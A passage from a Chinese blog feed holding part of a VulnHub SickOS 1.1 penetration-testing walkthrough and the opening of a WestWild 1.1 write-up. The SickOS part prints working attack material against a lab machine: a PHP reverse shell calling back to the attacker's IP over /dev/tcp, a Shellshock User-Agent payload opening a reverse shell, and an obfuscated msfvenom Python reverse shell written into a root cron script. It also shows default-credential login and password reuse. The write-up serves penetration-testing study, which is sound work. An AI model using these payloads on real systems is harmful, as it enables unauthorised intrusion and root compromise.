&lt;pre&gt;&lt;code&gt;$ dirsearch -u &apos;http://192.168.200.159&apos; --proxy=&apos;http://192.168.200.159:3128&apos;
[01:47:43] 200 -  109B  - /connect
[01:47:53] 200 -   58B  - /robots.txt    # &amp;lt;-- 关键发现
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513134825663.png&quot; alt=&quot;dirsearch扫描-2&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;补充：curl 配置代理方式&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# HTTP 代理
curl -x http://proxy_host:port http://example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;p&gt;访问 &lt;code&gt;/robots.txt&lt;/code&gt;，内容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /
Dissalow: /wolfcms    # &amp;lt;-- 路径泄露
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;robots.txt&lt;/code&gt; 中拼写有误的 &lt;code&gt;Dissalow&lt;/code&gt; 字段泄露了一个路径 &lt;code&gt;/wolfcms&lt;/code&gt;，这是下一步渗透的突破口。&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;/connect&lt;/code&gt; 的内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

print &quot;I Try to connect things very frequently\n&quot;
print &quot;You may want to try my services&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段脚本暗示靶机上可能存在某个定时运行的服务，先记录备用，后续提权阶段留意。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;2.权限立足&lt;/h1&gt;
&lt;h2&gt;2.1 WolfCMS 渗透&lt;/h2&gt;
&lt;p&gt;访问 &lt;code&gt;robot.txt&lt;/code&gt; 泄露的网站路径， &lt;code&gt;http://192.168.200.159/wolfcms/&lt;/code&gt;，是一个博客主页。页面底部标注了 WolfCMS，文章发布时间约为 2015 年，由此判断这是一个较老版本的 CMS，存在已知漏洞的可能性较高。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513135102951.png&quot; alt=&quot;cms主页&quot; /&gt;&lt;/p&gt;
&lt;p&gt;搜索 WolfCMS 相关漏洞，找到 &lt;a href=&quot;https://www.exploit-db.com/exploits/38000&quot;&gt;Wolf CMS - Arbitrary File Upload / Execution&lt;/a&gt;，该漏洞允许在登录后台后上传任意文件并执行。利用路径为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传的文件可通过以下路径直接访问：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://targetsite.com/wolfcms/public/hello.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问后台登录页，简单尝试万能密码无效，转而查询 WolfCMS 的默认凭据，得到 &lt;code&gt;admin:admin&lt;/code&gt;，尝试后登入成功。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513141008448.png&quot; alt=&quot;cms后台登入界面&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513141135963.png&quot; alt=&quot;后台登入成功&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入后台后，访问文件管理器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.159/wolfcms/?/admin/plugin/file_manager/browse/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513141347261.png&quot; alt=&quot;文件上传&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先上传一张普通图片和一个 phpinfo 测试文件，验证上传功能是否正常。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513141633473.png&quot; alt=&quot;上传文件&quot; /&gt;&lt;/p&gt;
&lt;p&gt;测试图片可以正常访问：&lt;code&gt;http://192.168.200.159/wolfcms/public/test.jpg&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513141847182.png&quot; alt=&quot;上传图片地址测试&quot; /&gt;&lt;/p&gt;
&lt;p&gt;测试 PHP 文件可以正常执行：&lt;code&gt;http://192.168.200.159/wolfcms/public/test.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513142009209.png&quot; alt=&quot;页面回显phpinfo测试&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上传路径确认、PHP 执行已验证，接下来上传反弹 Shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php exec(&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.200.142/4444 0&amp;gt;&amp;amp;1&apos;&quot;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kali 开启监听：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo nc -lvnp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问 &lt;code&gt;http://192.168.200.159/wolfcms/public/shell.php&lt;/code&gt; 触发代码执行，Kali 端成功接收到反弹连接：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513142421588.png&quot; alt=&quot;nc反弹&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;3.提权&lt;/h1&gt;
&lt;p&gt;获得反弹 Shell 后，先确认当前的用户身份和系统基本信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@SickOs:/var/www/wolfcms/public$ whoami
www-data
www-data@SickOs:/var/www/wolfcms/public$ uname -a
Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux    # &amp;lt;-- 内核版本较旧，2014 年
www-data@SickOs:/var/www/wolfcms/public$ ip a
# ...（省略）inet 192.168.200.159/24
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3.1 信息枚举&lt;/h2&gt;
&lt;h3&gt;sudo 权限&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;www-data@SickOs:/var/www/wolfcms/public$ sudo -l
sudo: no tty present and no askpass program specified
Sorry, try again.
sudo: 3 incorrect password attempts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当前为非交互式 Shell，无法正常执行 sudo，该路径暂时不可用。&lt;/p&gt;
&lt;h3&gt;计划任务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;www-data@SickOs:/var/www/wolfcms/public$ cat /etc/crontab
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;均为系统默认任务，无可利用项。&lt;/p&gt;
&lt;h3&gt;SUID 文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;www-data@SickOs:/$ find / -perm -u=s -type f 2&amp;gt;/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/bin/sudo
/usr/bin/sudoedit
/usr/bin/passwd
/usr/bin/mtr
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/sbin/pppd
/usr/sbin/uuidd
/bin/ping6
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上路径均为常规系统文件，无明显可利用项。转向配置文件查找凭据方向。&lt;/p&gt;
&lt;h2&gt;3.2 配置文件凭据提取&lt;/h2&gt;
&lt;p&gt;既然已经拿到了 WolfCMS 的 webshell，CMS 本身一定有数据库配置文件，里面大概率存有明文凭据。在 WolfCMS 目录下搜索配置文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@SickOs:/var/www/wolfcms$ find . -name &quot;*conf*&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513191228281.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;config.php&lt;/code&gt; 中找到数据库连接配置，存有明文凭据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Database settings:
define(&apos;DB_DSN&apos;, &apos;mysql:dbname=wolf;host=localhost;port=3306&apos;);
define(&apos;DB_USER&apos;, &apos;root&apos;);
define(&apos;DB_PASS&apos;, &apos;john@123&apos;);    # &amp;lt;-- 明文凭据
define(&apos;TABLE_PREFIX&apos;, &apos;&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是 MySQL 的凭证，不一定能直接用于 SSH。先用 Python 提升 Shell 交互性，再登入 MySQL 看看有没有其他有价值的信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@SickOs:/var/www/wolfcms$ python -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;
www-data@SickOs:/var/www/wolfcms$ mysql -uroot -pjohn@123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513192150232.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看 &lt;code&gt;wolf&lt;/code&gt; 数据库的表结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; show tables;
+-----------------+
| Tables_in_wolf  |
+-----------------+
| cron            |
| layout          |
| page            |
| page_part       |
| page_tag        |
| permission      |
| plugin_settings |
| role            |
| role_permission |
| secure_token    |
| setting         |
| snippet         |
| tag             |
| user            |
| user_role       |
+-----------------+
15 rows in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重点关注了 &lt;code&gt;cron&lt;/code&gt;、&lt;code&gt;permission&lt;/code&gt;、&lt;code&gt;role&lt;/code&gt;、&lt;code&gt;user&lt;/code&gt; 这几个表，查看过后没有得到可用信息。&lt;/p&gt;
&lt;h2&gt;3.3 凭据复用与提权&lt;/h2&gt;
&lt;p&gt;在数据库里没有收获，于是我换了个思路，检查系统中有哪些可登录的用户或是拥有shell的用户，看看能不能用已有的密码复用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@SickOs:/$ cat /etc/passwd
# ...
sickos:x:1000:1000:sickos,,,:/home/sickos:/bin/bash    # &amp;lt;-- 普通用户，配有 bash
mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;除 root 外，系统中还有一个名为 &lt;code&gt;sickos&lt;/code&gt; 的普通用户。尝试用刚才从配置文件中拿到的 MySQL 密码 &lt;code&gt;john@123&lt;/code&gt; 进行 SSH 登录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ssh sickos@192.168.200.159
# 密码：john@123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513194804417.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;密码复用成功，登录进来了。立刻检查 sudo 权限：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513194900655.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sickos&lt;/code&gt; 用户拥有完整的 sudo 权限（ALL:ALL），直接切换 root：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sickos@SickOs:~$ sudo su
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513194926135.png&quot; alt=&quot;rootshell&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功获取 root shell。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;4.总结&lt;/h1&gt;
&lt;p&gt;两个失败点，一个是浏览器搜索到 &lt;code&gt;Squid&lt;/code&gt; 是代理服务，但完全没有想到访问 web 要通过代理去访问。&lt;/p&gt;
&lt;p&gt;提权又失败了，猜到 config 里的配置可能有用，但是只尝试了 root 没有尝试多余的用户&lt;/p&gt;
&lt;p&gt;尤其是还是除去 root 外唯一一个不是服务的账户我给漏掉了。&lt;/p&gt;
&lt;p&gt;甚至想着用内核去提权，导致把系统搞崩溃。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;5.补充&lt;/h1&gt;
&lt;h2&gt;5.1 Shellshock 原理和利用&lt;/h2&gt;
&lt;h3&gt;信息收集 — nikto 扫描&lt;/h3&gt;
&lt;p&gt;通过 nikto 扫描确认 Apache 版本，发现 Shellshock 漏洞线索：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo nikto -h 192.168.200.159 -useproxy http://192.168.200.159:3128
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260518194217081.png&quot; alt=&quot;nikto_扫描结果&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Shellshock 是什么？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;https://fdlucifer.github.io/2020/04/02/shellshock-exploitation/&lt;/li&gt;
&lt;li&gt;https://en.wikipedia.org/wiki/Shellshock_(software_bug)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;Shellshock 漏洞验证&lt;/h3&gt;
&lt;p&gt;执行 Shellshock PoC，验证可以执行 &lt;code&gt;whoami&lt;/code&gt; 命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --proxy http://192.168.200.159:3128 \
     -H &quot;User-Agent: () { :; }; echo; /usr/bin/whoami&quot; \
     http://192.168.200.159/cgi-bin/status
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;各部分作用说明：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;部分&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--proxy http://192.168.200.159:3128&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;通过代理（如 Squid）转发请求，绕过直接访问限制&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-H &quot;User-Agent: ...&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;自定义请求头，将 payload 注入 User-Agent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;() { :; };&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;伪造一个空函数定义，触发 Bash 的解析逻辑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;echo;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;输出一个空行，&lt;strong&gt;分隔 HTTP 响应头与响应体&lt;/strong&gt;，否则输出会被当作响应头解析报错&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/usr/bin/whoami&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;实际想执行的命令&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/cgi-bin/status&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;目标是 CGI 脚本&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;为什么是 CGI + User-Agent？&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;HTTP 请求到达服务器
       ↓
Apache/Nginx 调用 CGI 脚本（如 /cgi-bin/status）
       ↓
Web 服务器将 HTTP Header 转换成环境变量传给 Bash
       ↓
User-Agent → HTTP_USER_AGENT 环境变量
       ↓
漏洞版 Bash 解析该环境变量时，执行了函数定义后的命令
       ↓
whoami 被执行，结果返回在响应体中
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键链路&lt;/strong&gt;：&lt;code&gt;HTTP Header → 环境变量 → Bash 解析 → RCE&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;CGI 机制天然将 HTTP 请求头映射为环境变量，这正是 ShellShock 在 Web 场景下最经典的利用方式。除了 &lt;code&gt;User-Agent&lt;/code&gt;，&lt;code&gt;Referer&lt;/code&gt;、&lt;code&gt;Cookie&lt;/code&gt; 等任意能变成环境变量的 Header 都可以作为注入点。&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;&lt;code&gt;() { :; };&lt;/code&gt; 逐字符拆解&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;() { :; };
│   │ │  │
│   │ │  └─ 函数定义结束的分隔符，后面跟真正要执行的命令
│   │ └──── : 是 bash 内置的&quot;空操作&quot;命令，相当于 true，什么都不做
│   └────── { :; } 是函数体
└────────── () 匿名函数，没有函数名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;完整语义：&lt;strong&gt;定义一个什么都不做的匿名函数，然后用 &lt;code&gt;;&lt;/code&gt; 结束定义，后面跟上真实 payload&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;:&lt;/code&gt; 是 Bash 的内置空命令，就是什么都不做，永远返回成功（exit code 0）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;构造完整 Payload&lt;/h3&gt;
&lt;p&gt;比较专业的写法，手动声明响应类型，防止某些 CGI 环境报 500 错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --proxy http://192.168.200.159:3128 \
  -H &quot;User-Agent: () { :; }; echo &apos;Content-Type: text/plain&apos;; echo; echo; /usr/bin/whoami&quot; \
  http://192.168.200.159/cgi-bin/status
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;echo &apos;Content-Type: text/plain&apos;&lt;/code&gt;：手动声明响应类型，某些 CGI 环境不加这个会报 500 错误&lt;/li&gt;
&lt;li&gt;&lt;code&gt;echo; echo;&lt;/code&gt;：两个空行确保响应头和响应体分隔干净&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;构造反弹 shell payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --proxy http://192.168.200.159:3128 \
  -H &quot;User-Agent: () { :; }; echo &apos;Content-Type: text/plain&apos;; echo; echo; /bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.200.142/4444 0&amp;gt;&amp;amp;1&apos;&quot; \
  http://192.168.200.159/cgi-bin/status
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260518201248009.png&quot; alt=&quot;发送payload&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260518201305483.png&quot; alt=&quot;kali_nc截图_webshell&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5.2 计划任务提权（另一种路径）&lt;/h2&gt;
&lt;h3&gt;发现可写计划任务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;www-data@SickOs:/etc$ ls -liah | grep cron
131439 drwxr-xr-x  2 root root   4.0K Dec  5  2015 cron.d
131120 drwxr-xr-x  2 root root   4.0K Sep 22  2015 cron.daily
131443 drwxr-xr-x  2 root root   4.0K Sep 22  2015 cron.hourly
131431 drwxr-xr-x  2 root root   4.0K Sep 22  2015 cron.monthly
131433 drwxr-xr-x  2 root root   4.0K Sep 22  2015 cron.weekly
131437 -rw-r--r--  1 root root    722 Jun 20  2012 crontab

www-data@SickOs:/etc$ cat cron.d/automate
* * * * * root /usr/bin/python /var/www/connect.py  # &amp;lt;-- 每分钟以 root 身份执行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每分钟 root 会执行 &lt;code&gt;/var/www/connect.py&lt;/code&gt;，而该文件 www-data 可写。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Linux 计划任务详解参考：0x005-Linux 计划任务详解&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;生成反弹 shell Payload&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ sudo msfvenom -p cmd/unix/reverse_python Lhost=192.168.200.142 lport=4443 -f raw
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260519191130402.png&quot; alt=&quot;msfvenom操作&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;写入恶意 connect.py&lt;/h3&gt;
&lt;p&gt;将 msfvenom 生成的 payload 覆盖写入目标文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@SickOs:/var/www$ cat &amp;gt; /var/www/connect.py &amp;lt;&amp;lt; &apos;EOF&apos;
#!/usr/bin/python
exec(__import__(&apos;zlib&apos;).decompress(__import__(&apos;base64&apos;).b64decode(__import__(&apos;codecs&apos;).getencoder(&apos;utf-8&apos;)(&apos;eNqNkFELgjAQx7/K2NMGMd2SKGIPEgYRFaTvkmuhZNvw5vcPUxR78h7uuLvf3f+46uNs4xFY9dYeDbb6eWgL11ilAeZ1O+R7hEoLXmK+E4xvtkyEIeORwGO7Wy2jaD0WQPZCrA9kyOJjfrom2Z9830tvh3OeZvckvtBpD1PWGK08Id0J88FOlU6sBfZsnSDAXlWtjSV0jofLUb4cFRPq5PRJph51TXBQVCaAEtMvi61esQ==&apos;)[0])))
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260519191114603.png&quot; alt=&quot;webshell操作写入反弹shell&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待约 1 分钟，计划任务触发，收到 root shell：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260519193906749.png&quot; alt=&quot;rootshell&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub WestWild 1.1 WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/12/westwild11/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/12/westwild11/</guid><description>WestWild 1.1 是一台发布于 VulnHub 平台的入门级渗透测试靶机，适合正在备考 OSCP 或初学渗透测试的学习者练习。靶机模拟了一个存在信息泄露和权限配置不当的 Linux 环境，完整复现了从信息收集、SMB 匿名访问、凭据获取到纵向提权的攻击链路。</description><pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h4&gt;靶场介绍&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;WestWild 1.1&lt;/strong&gt; 是一台发布于 VulnHub 平台的入门级渗透测试靶机，适合正在备考 OSCP 或初学渗透测试的学习者练习。靶机模拟了一个存在信息泄露和权限配置不当的 Linux 环境，完整复现了从信息收集、SMB 匿名访问、凭据获取到纵向提权的攻击链路。&lt;/p&gt;
&lt;p&gt;整个渗透流程不依赖复杂的漏洞利用，核心考察点在于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;服务枚举与 SMB 匿名访问&lt;/li&gt;
&lt;li&gt;敏感文件的发现与凭据提取&lt;/li&gt;
&lt;li&gt;Linux 本地提权中的可写文件枚举与 sudo 权限滥用&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h4&gt;靶场信息&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;靶机名称&lt;/td&gt;
&lt;td&gt;WestWild 1.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 IP&lt;/td&gt;
&lt;td&gt;192.168.200.157&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;难度等级&lt;/td&gt;
&lt;td&gt;入门（Beginner）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机官网&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.vulnhub.com/entry/westwild-11,338/&quot;&gt;https://www.vulnhub.com/entry/westwild-11,338/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;镜像下载&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://download.vulnhub.com/westwild/West-Wild-v1.1.ova&quot;&gt;https://download.vulnhub.com/westwild/West-Wild-v1.1.ova&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;目标&lt;/td&gt;
&lt;td&gt;获取 Flag1 + Root 权限&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h1&gt;1. 信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;p&gt;对目标进行端口扫描，发现开放了四个端口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SSH 和 HTTP 是常见服务，139/445 端口说明目标开启了 SMB 服务，是重点关注对象。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;服务版本探测&lt;/h3&gt;
&lt;p&gt;SMB 允许 guest 匿名访问，且 message signing 未启用，是重点突破口。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Nmap scan report for 192.168.200.157
Host is up (0.00031s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 6f:ee:95:91:9c:62:b2:14:cd:63:0a:3e:f8:10:9e:da (DSA)
|   2048 10:45:94:fe:a7:2f:02:8a:9b:21:1a:31:c5:03:30:48 (RSA)
|   256 97:94:17:86:18:e2:8e:7a:73:8e:41:20:76:ba:51:73 (ECDSA)
|_  256 23:81:c7:76:bb:37:78:ee:3b:73:e2:55:ad:81:32:72 (ED25519)
80/tcp  open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn&apos;t have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
MAC Address: 00:0C:29:A8:7A:D8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Service Info: Host: WESTWILD; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: westwild
|   NetBIOS computer name: WESTWILD\x00
|   Domain name: \x00
|   FQDN: westwild
|_  System time: 2026-05-06T08:20:37+03:00
|_clock-skew: mean: -1h00m00s, deviation: 1h43m55s, median: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-05-06T05:20:37
|_  start_date: N/A
|_nbstat: NetBIOS name: WESTWILD, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: &amp;lt;unknown&amp;gt; (unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;p&gt;漏洞扫描发现 HTTP 存在 Slowloris DoS 风险（CVE-2007-6750），SMB 存在 regsvc DoS 漏洞，但均为 DoS 类型，对本次渗透意义不大，不作为利用方向。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Nmap scan report for 192.168.200.157
Host is up (0.00023s latency).

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
|_http-dombased-xss: Couldn&apos;t find any DOM based XSS.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
